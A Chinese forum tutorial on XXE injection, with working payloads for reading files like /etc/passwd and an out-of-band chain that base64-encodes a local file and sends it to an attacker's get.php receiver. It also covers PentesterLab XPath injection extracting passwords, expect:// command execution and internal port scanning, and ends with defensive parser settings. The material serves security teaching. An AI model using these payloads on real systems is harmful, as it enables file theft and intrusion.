用户
搜索

[web安全] XXE篇

  • TA的每日心情
    擦汗
    2021-4-14 15:07
  • 签到天数: 13 天

    连续签到: 3 天

    [LV.3]经常看看I

    i春秋-呆萌菜鸟

    Rank: 1

    4

    主题

    7

    帖子

    244

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2019-11-4
    发表于 2021-4-8 18:33:45 24471
    二、XXE2.1        XXE漏洞原理
    • XXE (XML External Entity attack)外部实体注入攻击。
      • XXE是一种注入攻击。
      • XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理。
      • 攻击者可以利用外部实体读取任意文件,进行内网探测,执行远程代码和拒绝服务攻击。

    • XML是一种类似HTML的标记性语言,用来存储标记数据、定义数据类型。
      • 和html不同的是,xml的根元素和子元素是允许用户自定义的。
        <?xml version="1.0" encoding="ISO-8859-1"?>
        <note>
        <to>George</to>
        <from>John</from>
        <heading>Reminder</heading>
        <body>Don't forget the meeting!</body>
        </note>
        文档声明:<?xml version="1.0"?>
        根元素: note
        子元素: to、from、 headding、body
    • DTD (Document Type Definition)文档类型定义
    • 由于XML允许用户自定义标签,DTD则是用来规范和约束XML的书写。
    • 定义实体:定义实体就是为一段内容指定一个名称,使用时通过这个名称就可以引用其所代表的内容。
    • 在DTD文档中使用ENTITY关键字来声明一个实体,格式如下:<!ENTITY 实体名称"实体内容">
    • 如声明实体b,b的内容为文档规范:http: //xx.com/1.dtd
      < ?xml version="1.0"?>
      <!DOCTYPE author [<!ENTITY b SYSTEM "http://xx.com/1.dtd">]>
      <c>&b;</c>
    • 由于外部实体不仅仅支持http协议,还支持其他协议如file
      <?xml version="1.0" encoding="utf-8" ?>
      <!DOCTYPE note [
      <!ENTITY bee SYSTEM "file:///etc/passwd/">]>
      <reset<login>&bee;</login><secret>Anv bugs?</secret/reset>
    2.2        漏洞测试
    测试代码:
    <?php
    $data = file_get_contents('php://input');
    $xml = simplexml_load_string($data);
    echo $xml->name;
    ?>
    测试方式1
    有回显,直接读取文件
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe [
    <!ENTITY xxe SYSTEM "file:///c:/pass.ini" >]>
    <root>
    <name>&xxe;</name>
    </root>
    image-20210221220226553.png
    测试方法2:
    无回显,引用远程服务器上的XML文件读取文件
    <?xml version="1.0"?>
    <!DOCTYPE message [
        <!ENTITY % remote SYSTEM "http://127.0.0.1/xxe.xml">  
        <!ENTITY % file SYSTEM "file:///c:/pass.ini">
        %remote;
        %send;
    ]>
    将以下xxe.xml保存到WEB服务器下
    <!ENTITY % all "<!ENTITY &#x25; send SYSTEM http://127.0.0.1/%file;'>">
    %all;
    image-20210221230812624.png
    发现文件信息通过报错的方式显示了出来。。
    测试方法3:
    在主机上放一个接收文件的php(get.php):
    <?php
    file_put_contents('01.txt', $_GET['xxe_local']);
    ?>
    1.xml内容
    <!ENTITY % payload  SYSTEM   "php://filter/read=convert.base64-encode/resource=file:///c:/pass.ini">
    <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://127.0.0.1/get.php?xxe_local=%payload;'>">
    %int;
    %trick;<?xml version="1.0"?>
    <!DOCTYPE message [
        <!ENTITY % remote SYSTEM "http://127.0.0.1/xxe.xml">  
        %remote;
    ]>
    image-20210221231350073.png
    查看01.txt文件
    image-20210221231411336.png
    base64解码后:
    image-20210221231426297.png

    2.3        案例分析
    案例一:PentesterLab.com xxe example1
    url:http://10.10.10.146/xml/example1 ... hacker</name>
    实验源码:
    <?php require_once("../header.php"); ?>
    Hello  
    <?php
      $xml=simplexml_load_string($_GET['xml']);
      print_r((string)$xml);
    ?>
    <?php require_once("../footer.php"); ?>
    分析源码可以发现,xml参数可控,因此可以通过传入xml语句来完成文件读取操作
    payload:
    ?xml=<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><name>&xxe;</name
    url编码后:
    <!DOCTYPE+xxe+[<!ENTITY+xxe+SYSTEM+"file%3a///etc/passwd"+>]><name>%26xxe%3b</name>
    结果如下:
    image-20210221232438615.png
    案例二:PentesterLab.com xxe example2
    实验源码:
    <?php require_once("../header.php");

      $x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

      $xml=simplexml_load_string($x);
      $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
      $res = ($xml->xpath($xpath));
      while(list( ,$node) = each($res)) {
          echo $node;
      }
    ?>
    <?php require_once("../footer.php"); ?>
    首先要明白xpath的基本语法以及list函数,each函数的使用
    参考链接:
    payload:
    1、闭合查询语句
    http://10.10.10.146/xml/example2.php?name=hacker']%00
    image-20210221232927946.png
    2、查询当前节点的所有结果
    http://10.10.10.146/xml/example2.php?name=hacker' or 1=1]%00
    image-20210221233132064.png
    3、查询当前节点的子节点
    http://10.10.10.146/xml/example2.php?name=hacker' or 1=1]/child::node()%00
    image-20210221233348023.png
    页面没有回显其他的子节点信息,说明该节点不存在子节点
    4、查询当前节点的兄弟节点
    http://10.10.10.146/xml/example2.php?name=hacker' or 1=1]/parent::*/child::node()%00
    http://10.10.10.146/xml/example2.php?name=hacker' or 1=1]/following::node()%00
    image-20210221233602469.png
    发现有两个节点的值很像密码。
    5、验证是否存在password节点
    http://10.10.10.146/xml/example2.php?name=hacker' or 1=1]/parent::*/password%00
    image-20210221233650811.png
    发现确实存在password这个节点,结合上一个查询的回显可知道密码分别是pentesterlab和3cr3tP4ssw0rd
    案例三:zblog xxe 任意文件读取
    漏洞位置:
    image-20210221234245751.png
    simplexml_load_file这个函数在旧版本中是默认解析实体的,但是在新版本中,已经不再默认解析实体了,需要在 simplexml_load_file 函数中指定第三个参数为LIBXML_NOENT,不然不会解析实体的。
    payload:
    <?xml version="1.0"?>
    <!DOCTYPE message [
        <!ENTITY % remote SYSTEM "http://127.0.0.1/1.xml">  
        %remote;
    ]>
    1.xml
    <!ENTITY % payload  SYSTEM   "php://filter/read=convert.base64-encode/resource=file:///c:/pass.ini">
    <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://127.0.0.1/get.php?xxe_local=%payload;'>">
    %int;
    %trick;
    image-20210222002157665.png
    0.1txt文件内容解码如下:
    image-20210222002308456.png
    2.4        XXE的其他作用
    1)端口扫描
    如下,测试本地3306是否开放,若开放则相应时间很短
    image-20210222002956323.png
    若没有开放则相应时间会相对较长
    image-20210222003059140.png
    2)远程代码执行
    这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
    <root>
    <name>&xxe;</name>
    </root>
    响应:
    {"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
    3)攻击内网网站
    结合其他的漏洞比如:struts2
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
    <root>
    <name>&xxe;</name>
    </root>
    XXE漏洞的挖掘
    通过手工篡改网站中xml实体中的头部,加入相关的读取文件或者是链接,或者是命令执行等,如file:///$path/file.txt;http://url/file.txt;看看能否显示出来
    2.5        XXE的防御
    方案一、使用开发语言提供的禁用外部实体的方法
    PHP:
    libxml_disable_entity_loader(true);

    JAVA:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);

    Python:
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    方案二、过滤用户提交的XML数据
    关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

    怎么分开这么多篇???
    使用道具 举报 回复
    空降姬 发表于 2021-4-9 17:05
    怎么分开这么多篇???

    一次性发怕太乱了。
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册